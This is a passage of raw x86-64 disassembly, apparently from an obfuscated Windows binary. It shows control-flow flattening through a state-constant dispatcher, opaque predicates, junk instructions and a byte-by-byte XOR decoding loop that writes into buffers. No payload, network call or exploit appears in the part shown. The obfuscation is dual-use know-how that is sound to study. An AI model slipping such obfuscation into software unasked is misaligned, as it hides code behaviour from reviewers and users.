mov eax, 0x4de8461d
jmp 0x1400038b0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov eax, ecx
jmp 0x1400038b0
mov eax, 0x9ce81538
jmp 0x1400038b0
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 2], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 0x2d]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140003ae0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140003b20
cmp edx, 0x54254c19
jg 0x140003b50
cmp edx, 0x413ac401
je 0x140003bad
cmp edx, 0x4de8461d
je 0x140003bcc
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140003ae0
mov ecx, esi
jmp 0x140003ae0
cmp edx, 0xd13082ef
jle 0x140003b80
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140003ae0
cmp edx, 0xe0d67025
je 0x140003be6
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140003ae0
mov ecx, r10d
jmp 0x140003ae0
cmp edx, 0x54254c1a
je 0x140003bf0
cmp edx, 0x62439574
je 0x140003aae
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140003ae0
mov ecx, 0x4ec8e6fe
jmp 0x140003ae0
cmp edx, 0x8ceadef2
je 0x140003c17
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140003ae0
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140003ae0
jmp 0x1400041db
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140003ae0
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2d]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140003ae0
mov ecx, 0x4de8461d
jmp 0x140003ae0
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140003ae0
mov ecx, 0x9ce81538
jmp 0x140003ae0
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 2], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140003cf0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140003d30
cmp ecx, 0x54254c19
jg 0x140003d60
cmp ecx, 0x413ac401
je 0x140003dbd
cmp ecx, 0x4de8461d
je 0x140003ddc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140003cf0
mov eax, edi
jmp 0x140003cf0
cmp ecx, 0xd13082ef
jle 0x140003d90
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140003cf0
cmp ecx, 0xe0d67025
je 0x140003dfa
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140003cf0
mov eax, r9d
jmp 0x140003cf0
cmp ecx, 0x54254c1a
je 0x140003e04
cmp ecx, 0x62439574
je 0x140003cbb
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140003cf0
mov eax, 0x4ec8e6fe
jmp 0x140003cf0
cmp ecx, 0x8ceadef2
je 0x140003e2c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140003cf0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140003cf0
jmp 0x1400043f1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140003cf0
lea rax, [r15 + 0x70]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 3]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140003cf0
mov eax, 0x4de8461d
jmp 0x140003cf0
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140003cf0
mov eax, 0x9ce81538
jmp 0x140003cf0
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 3], al
mov eax, dword [0x140061088]
mov r8d, dword [0x14006108c]
lea r9d, [rax - 1]
imul r9d, eax
mov eax, r9d
and eax, 1
sete byte [rbp + 0x8f]
sete dil
mov edx, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne edx, ecx
cmp r8d, 0xa
setl byte [rbp + 0x68]
setl cl
mov ebx, 0x9ce81538
cmovl edx, ebx
mov ebx, ecx
or bl, dil
mov r10d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r10d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor al, cl
and cl, dil
xor cl, al
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140003f00
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140003f40
cmp ecx, 0x54254c19
jg 0x140003f70
cmp ecx, 0x413ac401
je 0x140003fcd
cmp ecx, 0x4de8461d
je 0x140003fec
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140003f00
mov eax, edi
jmp 0x140003f00
cmp ecx, 0xd13082ef
jle 0x140003fa0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140003f00
cmp ecx, 0xe0d67025
je 0x14000400a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140003f00
mov eax, r11d
jmp 0x140003f00
cmp ecx, 0x54254c1a
je 0x140004014
cmp ecx, 0x62439574
je 0x140003ed5
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140003f00
mov eax, 0x4ec8e6fe
jmp 0x140003f00
cmp ecx, 0x8ceadef2
je 0x14000403b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140003f00
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140003f00
jmp 0x140004605
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140003f00
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 4]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140003f00
mov eax, 0x4de8461d
jmp 0x140003f00
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140003f00
mov eax, 0x9ce81538
jmp 0x140003f00
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov r11, qword [rbp + 0x18]
mov byte [r11 + 4], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 5]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x1400040a0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov eax, edx
cmp edx, 0x413ac400
jle 0x1400040e0
cmp eax, 0x54254c19
jg 0x140004110
cmp eax, 0x413ac401
je 0x140004168
cmp eax, 0x4de8461d
je 0x140004187
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x1400040a0
mov edx, r9d
jmp 0x1400040a0
cmp eax, 0xd13082ef
jle 0x14000413d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x1400040a0
cmp eax, 0xe0d67025
je 0x1400041a1
mov edx, eax
cmp eax, 0x216c1d41
jne 0x1400040a0
mov edx, esi
jmp 0x1400040a0
cmp eax, 0x54254c1a
je 0x1400041ab
cmp eax, 0x62439574
je 0x140004078
mov edx, eax
cmp eax, 0x76479a56
jne 0x1400040a0
mov edx, 0x4ec8e6fe
jmp 0x1400040a0
cmp eax, 0x8ceadef2
je 0x1400041d1
mov edx, r10d
cmp eax, 0x9ce81538
je 0x1400040a0
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x1400040a0
jmp 0x1400047a5
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x1400040a0
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 5]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x1400040a0
mov edx, 0x4de8461d
jmp 0x1400040a0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x1400040a0
mov edx, 0x9ce81538
jmp 0x1400040a0
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 3], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x2e]
mov eax, dword [0x140061088]
mov r8d, dword [0x14006108c]
lea r9d, [rax - 1]
imul r9d, eax
mov eax, r9d
and eax, 1
sete sil
sete byte [rbp + 0x8f]
mov edx, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne edx, ecx
cmp r8d, 0xa
setl bl
setl byte [rbp + 0x68]
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, ebx
or cl, sil
add r10, r15
test cl, cl
mov r11d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r11d, ecx
mov r13d, 0x62439574
mov ecx, 0x54254c1a
cmovne r13d, ecx
mov edi, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne edi, ecx
xor al, bl
and bl, sil
xor bl, al
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov eax, 0x413ac401
jmp 0x1400042b0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400042f0
cmp ecx, 0x54254c19
jg 0x140004320
cmp ecx, 0x413ac401
je 0x14000437d
cmp ecx, 0x4de8461d
je 0x14000439c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400042b0
mov eax, esi
jmp 0x1400042b0
cmp ecx, 0xd13082ef
jle 0x140004350
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400042b0
cmp ecx, 0xe0d67025
je 0x1400043b6
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400042b0
mov eax, r13d
jmp 0x1400042b0
cmp ecx, 0x54254c1a
je 0x1400043c0
cmp ecx, 0x62439574
je 0x140004287
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400042b0
mov eax, 0x4ec8e6fe
jmp 0x1400042b0
cmp ecx, 0x8ceadef2
je 0x1400043e7
mov eax, edi
cmp ecx, 0x9ce81538
je 0x1400042b0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400042b0
jmp 0x14000493b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400042b0
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x2e]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400042b0
mov eax, 0x4de8461d
jmp 0x1400042b0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x1400042b0
mov eax, 0x9ce81538
jmp 0x1400042b0
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 3], al
mov eax, dword [0x140061088]
mov r8d, dword [0x14006108c]
lea r9d, [rax - 1]
imul r9d, eax
mov eax, r9d
and eax, 1
sete byte [rbp + 0x8f]
sete dil
mov edx, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne edx, ecx
cmp r8d, 0xa
setl byte [rbp + 0x68]
setl cl
mov ebx, 0x9ce81538
cmovl edx, ebx
mov ebx, ecx
or bl, dil
mov r10d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r10d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor al, cl
and cl, dil
xor cl, al
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x1400044c0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140004500
cmp ecx, 0x54254c19
jg 0x140004530
cmp ecx, 0x413ac401
je 0x14000458d
cmp ecx, 0x4de8461d
je 0x1400045ac
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400044c0
mov eax, edi
jmp 0x1400044c0
cmp ecx, 0xd13082ef
jle 0x140004560
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400044c0
cmp ecx, 0xe0d67025
je 0x1400045ca
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400044c0
mov eax, r11d
jmp 0x1400044c0
cmp ecx, 0x54254c1a
je 0x1400045d4
cmp ecx, 0x62439574
je 0x140004490
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400044c0
mov eax, 0x4ec8e6fe
jmp 0x1400044c0
cmp ecx, 0x8ceadef2
je 0x1400045fb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400044c0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400044c0
jmp 0x140004ae1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400044c0
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 4]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400044c0
mov eax, 0x4de8461d
jmp 0x1400044c0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x1400044c0
mov eax, 0x9ce81538
jmp 0x1400044c0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 4], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140004660
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400046a0
cmp ecx, 0x54254c19
jg 0x1400046d0
cmp ecx, 0x413ac401
je 0x14000472d
cmp ecx, 0x4de8461d
je 0x14000474c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140004660
mov eax, edi
jmp 0x140004660
cmp ecx, 0xd13082ef
jle 0x140004700
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140004660
cmp ecx, 0xe0d67025
je 0x14000476a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140004660
mov eax, r11d
jmp 0x140004660
cmp ecx, 0x54254c1a
je 0x140004774
cmp ecx, 0x62439574
je 0x14000462c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140004660
mov eax, 0x4ec8e6fe
jmp 0x140004660
cmp ecx, 0x8ceadef2
je 0x14000479b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140004660
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140004660
jmp 0x140004c75
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140004660
lea rax, [r15 + 0x3a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 5]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140004660
mov eax, 0x4de8461d
jmp 0x140004660
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140004660
mov eax, 0x9ce81538
jmp 0x140004660
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 5], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 6]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140004800
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140004840
cmp eax, 0x54254c19
jg 0x140004870
cmp eax, 0x413ac401
je 0x1400048c8
cmp eax, 0x4de8461d
je 0x1400048e7
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140004800
mov edx, r9d
jmp 0x140004800
cmp eax, 0xd13082ef
jle 0x14000489d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140004800
cmp eax, 0xe0d67025
je 0x140004901
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140004800
mov edx, esi
jmp 0x140004800
cmp eax, 0x54254c1a
je 0x14000490b
cmp eax, 0x62439574
je 0x1400047d4
mov edx, eax
cmp eax, 0x76479a56
jne 0x140004800
mov edx, 0x4ec8e6fe
jmp 0x140004800
cmp eax, 0x8ceadef2
je 0x140004931
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140004800
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140004800
jmp 0x140004e15
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140004800
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 6]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140004800
mov edx, 0x4de8461d
jmp 0x140004800
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140004800
mov edx, 0x9ce81538
jmp 0x140004800
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 4], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x2f]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
jmp 0x1400049a0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400049e0
cmp ecx, 0x54254c19
jg 0x140004a10
cmp ecx, 0x413ac401
je 0x140004a6d
cmp ecx, 0x4de8461d
je 0x140004a8c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400049a0
mov eax, esi
jmp 0x1400049a0
cmp ecx, 0xd13082ef
jle 0x140004a40
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400049a0
cmp ecx, 0xe0d67025
je 0x140004aa6
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400049a0
mov eax, r13d
jmp 0x1400049a0
cmp ecx, 0x54254c1a
je 0x140004ab0
cmp ecx, 0x62439574
je 0x14000496e
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400049a0
mov eax, 0x4ec8e6fe
jmp 0x1400049a0
cmp ecx, 0x8ceadef2
je 0x140004ad7
mov eax, edi
cmp ecx, 0x9ce81538
je 0x1400049a0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400049a0
jmp 0x140004fab
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400049a0
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x2f]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400049a0
mov eax, 0x4de8461d
jmp 0x1400049a0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x1400049a0
mov eax, 0x9ce81538
jmp 0x1400049a0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 4], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140004b30
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140004b70
cmp ecx, 0x54254c19
jg 0x140004ba0
cmp ecx, 0x413ac401
je 0x140004bfd
cmp ecx, 0x4de8461d
je 0x140004c1c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140004b30
mov eax, edi
jmp 0x140004b30
cmp ecx, 0xd13082ef
jle 0x140004bd0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140004b30
cmp ecx, 0xe0d67025
je 0x140004c3a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140004b30
mov eax, r11d
jmp 0x140004b30
cmp ecx, 0x54254c1a
je 0x140004c44
cmp ecx, 0x62439574
je 0x140004b08
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140004b30
mov eax, 0x4ec8e6fe
jmp 0x140004b30
cmp ecx, 0x8ceadef2
je 0x140004c6b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140004b30
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140004b30
jmp 0x140005151
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140004b30
lea rax, [r15 + 0x3a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 5]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140004b30
mov eax, 0x4de8461d
jmp 0x140004b30
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140004b30
mov eax, 0x9ce81538
jmp 0x140004b30
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 5], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140004cd0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140004d10
cmp ecx, 0x54254c19
jg 0x140004d40
cmp ecx, 0x413ac401
je 0x140004d9d
cmp ecx, 0x4de8461d
je 0x140004dbc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140004cd0
mov eax, edi
jmp 0x140004cd0
cmp ecx, 0xd13082ef
jle 0x140004d70
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140004cd0
cmp ecx, 0xe0d67025
je 0x140004dda
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140004cd0
mov eax, r11d
jmp 0x140004cd0
cmp ecx, 0x54254c1a
je 0x140004de4
cmp ecx, 0x62439574
je 0x140004c9c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140004cd0
mov eax, 0x4ec8e6fe
jmp 0x140004cd0
cmp ecx, 0x8ceadef2
je 0x140004e0b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140004cd0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140004cd0
jmp 0x1400052e5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140004cd0
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 6]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140004cd0
mov eax, 0x4de8461d
jmp 0x140004cd0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140004cd0
mov eax, 0x9ce81538
jmp 0x140004cd0
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 6], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 7]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140004e70
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
